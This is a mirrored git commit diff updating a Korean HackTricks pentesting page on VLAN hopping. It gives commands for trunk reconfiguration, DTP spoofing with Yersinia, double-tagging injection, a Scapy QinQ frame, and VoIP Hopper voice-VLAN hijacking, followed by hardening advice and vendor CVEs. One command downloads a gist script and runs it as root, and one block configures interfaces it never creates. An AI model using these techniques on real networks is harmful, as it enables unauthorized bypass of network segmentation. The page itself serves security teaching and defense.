mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
efc994fc24
commit
e8ffd6b823
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN에 대한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (**자세한 내용은 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) 확인하세요.**)
|
스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN을 위한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (**자세한 내용은 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) 확인하세요.**)
|
||||||
|
|
||||||
먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다.
|
먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다.
|
||||||
|
|
||||||
@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk
|
|||||||
|
|
||||||
그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다:
|
그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다:
|
||||||
```bash
|
```bash
|
||||||
|
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||||
sudo vconfig add eth0 10
|
sudo vconfig add eth0 10
|
||||||
sudo vconfig add eth0 20
|
sudo vconfig add eth0 20
|
||||||
sudo vconfig add eth0 50
|
sudo vconfig add eth0 50
|
||||||
@ -32,27 +33,36 @@ sudo ifconfig eth0.10 up
|
|||||||
sudo ifconfig eth0.20 up
|
sudo ifconfig eth0.20 up
|
||||||
sudo ifconfig eth0.50 up
|
sudo ifconfig eth0.50 up
|
||||||
sudo ifconfig eth0.60 up
|
sudo ifconfig eth0.60 up
|
||||||
|
|
||||||
|
# Modern (ip-link – preferred)
|
||||||
|
sudo modprobe 8021q
|
||||||
|
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||||
|
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||||
|
sudo ip link set eth0.10 up
|
||||||
|
sudo ip link set eth0.20 up
|
||||||
|
sudo dhclient -v eth0.50
|
||||||
|
sudo dhclient -v eth0.60
|
||||||
```
|
```
|
||||||
그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다:
|
그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
sudo dhclient -v eth0.10
|
sudo dhclient -v eth0.10
|
||||||
sudo dhclient -v eth0.20
|
sudo dhclient -v eth0.20
|
||||||
sudo dhclient -v eth0.50
|
|
||||||
sudo dhclient -v eth0.60
|
|
||||||
```
|
```
|
||||||
인터페이스(VLAN 10)에서 정적 IP 주소를 수동으로 설정하는 예:
|
인터페이스(VLAN 10)에서 정적 IP 주소를 수동으로 설정하는 예:
|
||||||
```bash
|
```bash
|
||||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||||
|
# or
|
||||||
|
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||||
```
|
```
|
||||||
연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다.
|
연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다.
|
||||||
|
|
||||||
궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 이후 작업을 위한 기반을 마련합니다.
|
궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 후속 작업을 위한 기반을 마련합니다.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 기타 VLAN-Hopping 기술 (특권 스위치 CLI 없음)
|
## 기타 VLAN-호핑 기술 (특권 스위치 CLI 없음)
|
||||||
|
|
||||||
이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반 **액세스 포트**에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다:
|
이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반 액세스 포트에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다:
|
||||||
|
|
||||||
### 1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑
|
### 1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑
|
||||||
|
|
||||||
@ -61,22 +71,29 @@ DTP가 활성화된 Cisco 스위치는 피어가 스위치라고 주장하면
|
|||||||
*Yersinia* 및 여러 PoC가 이 프로세스를 자동화합니다:
|
*Yersinia* 및 여러 PoC가 이 프로세스를 자동화합니다:
|
||||||
```bash
|
```bash
|
||||||
# Become a trunk using Yersinia (GUI)
|
# Become a trunk using Yersinia (GUI)
|
||||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||||
|
|
||||||
# Python PoC (dtp-spoof)
|
# Python PoC (dtp-spoof)
|
||||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||||
```
|
```
|
||||||
포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다. 최신 Linux 커널은 더 이상 *vconfig*를 필요로 하지 않으며, 대신 *ip link*를 사용하십시오:
|
Recon helper (포트의 DTP 상태를 수동으로 지문 인식하기):
|
||||||
```bash
|
```bash
|
||||||
sudo modprobe 8021q
|
sudo modprobe 8021q
|
||||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||||
sudo ip link set eth0.30 up
|
sudo ip link set eth0.30 up
|
||||||
|
|
||||||
|
# or
|
||||||
|
|
||||||
|
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||||
|
sudo python3 dtpscan.py -i eth0
|
||||||
```
|
```
|
||||||
|
포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다.
|
||||||
|
|
||||||
### 2. 더블 태깅 (네이티브 VLAN 남용)
|
### 2. 더블 태깅 (네이티브 VLAN 남용)
|
||||||
|
|
||||||
공격자가 **네이티브 (태그가 없는) VLAN**에 있을 경우, *두 개*의 802.1Q 헤더가 있는 조작된 프레임은 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 "홉"할 수 있습니다. **VLANPWN DoubleTagging.py** (2022-2024 리프레시)와 같은 도구는 주입을 자동화합니다:
|
공격자가 **네이티브(언태그) VLAN**에 있을 경우, *두 개*의 802.1Q 헤더가 있는 조작된 프레임이 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 이동할 수 있습니다. **VLANPWN DoubleTagging.py**(2022-2025 리프레시)와 같은 도구는 주입을 자동화합니다:
|
||||||
```bash
|
```bash
|
||||||
python3 DoubleTagging.py \
|
python3 DoubleTagging.py \
|
||||||
--interface eth0 \
|
--interface eth0 \
|
||||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
|||||||
--victim 10.10.20.24 \
|
--victim 10.10.20.24 \
|
||||||
--attacker 10.10.1.54
|
--attacker 10.10.1.54
|
||||||
```
|
```
|
||||||
패킷 통과:
|
|
||||||
1. 외부 태그 (1)는 기본 VLAN과 일치하기 때문에 첫 번째 스위치에 의해 제거됩니다.
|
|
||||||
2. 내부 태그 (20)가 이제 노출되며, 프레임은 VLAN 20으로 향하는 트렁크로 전달됩니다.
|
|
||||||
|
|
||||||
이 기술은 기본 VLAN을 기본값으로 두고 태그가 없는 프레임을 수용하는 네트워크에서 2025년에도 여전히 작동합니다.
|
|
||||||
|
|
||||||
### 3. QinQ (802.1ad) 스태킹
|
### 3. QinQ (802.1ad) 스태킹
|
||||||
|
|
||||||
많은 기업 코어는 *Q-in-Q* 서비스 제공업체 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내부에 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. 802.1ad 이더타입 0x88a8을 캡처하고 Scapy로 외부 태그를 팝하려고 시도하십시오:
|
많은 기업 코어는 *Q-in-Q* 서비스 제공자 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내에서 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. ethertype `0x88a8`을 캡처하고 Scapy로 외부 태그를 팝해 보십시오:
|
||||||
```python
|
```python
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
outer = 100 # Service tag
|
outer = 100 # Service tag
|
||||||
@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
|||||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||||
sendp(frame, iface="eth0")
|
sendp(frame, iface="eth0")
|
||||||
```
|
```
|
||||||
|
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
|
||||||
|
|
||||||
|
기업 액세스 포트는 종종 *“access + voice”* 구성에 위치합니다: 워크스테이션을 위한 태그가 없는 데이터 VLAN과 CDP 또는 LLDP-MED를 통해 광고되는 태그가 있는 음성 VLAN. IP 전화를 가장함으로써 공격자는 VoIP VLAN을 자동으로 발견하고 이동할 수 있습니다—DTP가 비활성화되어 있을 때도 마찬가지입니다.
|
||||||
|
|
||||||
|
*VoIP Hopper* (Kali 2025.2에 패키지됨)은 CDP, DHCP 옵션 **176/242**, 및 전체 LLDP-MED 스푸핑을 지원합니다:
|
||||||
|
```bash
|
||||||
|
# One-shot discovery & hop
|
||||||
|
sudo voiphopper -i eth0 -f cisco-7940
|
||||||
|
|
||||||
|
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||||
|
sudo voiphopper -i eth0 -z
|
||||||
|
|
||||||
|
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||||
|
```
|
||||||
|
이 기술은 데이터/음성 분리를 우회하며 2025년에는 많은 모델에서 LLDP 자동 정책이 기본적으로 활성화되어 있기 때문에 기업 엣지 스위치에서 매우 일반적입니다.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 방어 권장 사항
|
## 방어 권장 사항
|
||||||
|
|
||||||
1. 모든 사용자-facing 포트에서 DTP 비활성화: `switchport mode access` + `switchport nonegotiate`.
|
1. 모든 사용자-facing 포트에서 DTP 비활성화: `switchport mode access` + `switchport nonegotiate`.
|
||||||
2. 모든 트렁크에서 기본 VLAN을 **사용되지 않는 블랙홀 VLAN**으로 변경하고 태그 지정: `vlan dot1q tag native`.
|
2. 모든 트렁크의 기본 VLAN을 **사용되지 않는 블랙홀 VLAN**으로 변경하고 태그 지정: `vlan dot1q tag native`.
|
||||||
3. 트렁크에서 불필요한 VLAN 제거: `switchport trunk allowed vlan 10,20`.
|
3. 트렁크에서 불필요한 VLAN 제거: `switchport trunk allowed vlan 10,20`.
|
||||||
4. 포트 보안, DHCP 스누핑 및 동적 ARP 검사 시행하여 불법 Layer-2 활동 제한.
|
4. 포트 보안, DHCP 스누핑, 동적 ARP 검사 **및 802.1X**를 적용하여 악성 Layer-2 활동을 제한합니다.
|
||||||
5. 802.1Q 분리에만 의존하기보다는 프라이빗 VLAN 또는 L3 세분화를 선호.
|
5. IP 전화 스푸핑이 필요하지 않은 경우 LLDP-MED 자동 음성 정책을 비활성화(또는 인증된 MAC OUI에 잠금)합니다.
|
||||||
|
6. 802.1Q 분리에만 의존하기보다는 개인 VLAN 또는 L3 세분화를 선호합니다.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 참조
|
## 실제 벤더 취약점 (2022-2024)
|
||||||
|
|
||||||
|
완벽하게 강화된 스위치 구성도 펌웨어 버그에 의해 저해될 수 있습니다. 최근 사례는 다음과 같습니다:
|
||||||
|
|
||||||
|
* **CVE-2022-20728† – Cisco Aironet/Catalyst 액세스 포인트**는 기본 VLAN에서 비기본 WLAN VLAN으로의 주입을 허용하여 유선/무선 분리를 우회합니다.
|
||||||
|
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)**는 Resilient Ethernet Protocol을 전환한 후 SVI에서 ACL 우회를 허용하여 VRF/VLAN 간의 트래픽을 유출합니다. 패치 17.9.5 이상.
|
||||||
|
|
||||||
|
항상 VLAN 관련 우회/ACL 문제에 대한 벤더 권고 사항을 모니터링하고 인프라 이미지를 최신 상태로 유지하십시오.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 참고 문헌
|
||||||
|
|
||||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
- VLANPWN 공격 툴킷 – <https://github.com/casterbytethrowback/VLANPWN>
|
- VLANPWN 공격 툴킷 – <https://github.com/casterbytethrowback/VLANPWN>
|
||||||
- Twingate "VLAN Hopping이란?" (2024년 8월) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
- Twingate "VLAN 홉핑이란?" (2024년 8월) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||||
|
- VoIP Hopper 프로젝트 – <https://github.com/hmgh0st/voiphopper>
|
||||||
|
- Cisco 권고 “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user